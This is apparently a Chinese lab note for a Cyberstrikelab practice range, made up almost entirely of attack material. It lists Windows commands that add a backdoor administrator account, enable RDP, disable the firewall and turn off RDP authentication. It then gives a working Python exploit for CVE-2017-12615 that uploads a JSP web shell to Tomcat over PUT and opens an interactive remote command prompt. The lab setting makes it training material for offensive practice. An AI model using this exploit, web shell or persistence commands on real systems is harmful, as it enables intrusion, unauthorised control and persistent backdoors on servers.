内网基础-Cyberstrikelab靶场lab2

参考：

添加用户  net user admin 123@abc /add  net localgroup administrators admin /add  开启RDP  REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f  关闭防火墙  netsh advfirewall set allprofiles state off  防火墙放行3389  netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow  关闭身份验证  reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

python#CVE-2017-12615 EXP__author__ = '纸机'import requestsimport optparseimport timeparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')parse.add_option('-u','--url',dest='URL',help='target url')parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')options,args = parse.parse_args()#验证参数是否完整if not options.URL or not options.PORT:print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]n')exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')url = options.URL+':'+options.PORTfilename = '/backdoor.jsp'payload = filename+'?pwd=023&i='headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}#木马data = '''<%    if("023".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("</pre>");    }%>'''#上传木马文件def upload(url):print('[] 目标地址:'+url)  try:    respond = requests.put(url+filename+'/',headers=headers,data = data)#print(respond.status_code)if respond.status_code == 201 or respond.status_code == 204:#print('[] 目标地址:'+url)print('[+] 木马上传成功')  except Exception as e:print('[-] 上传失败')return 0#命令执行def attack(url,cmd):  try:    respond = requests.get(url+payload+cmd)if respond.status_code == 200:print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())  except Exception as e:print('[-] 命令执行错误')if upload(url) == 0:exit()time.sleep(0.5)print('输入执行命令(quit退出):')while(1):  cmd = input('>>>')if(cmd == 'quit'):break  attack(url,cmd)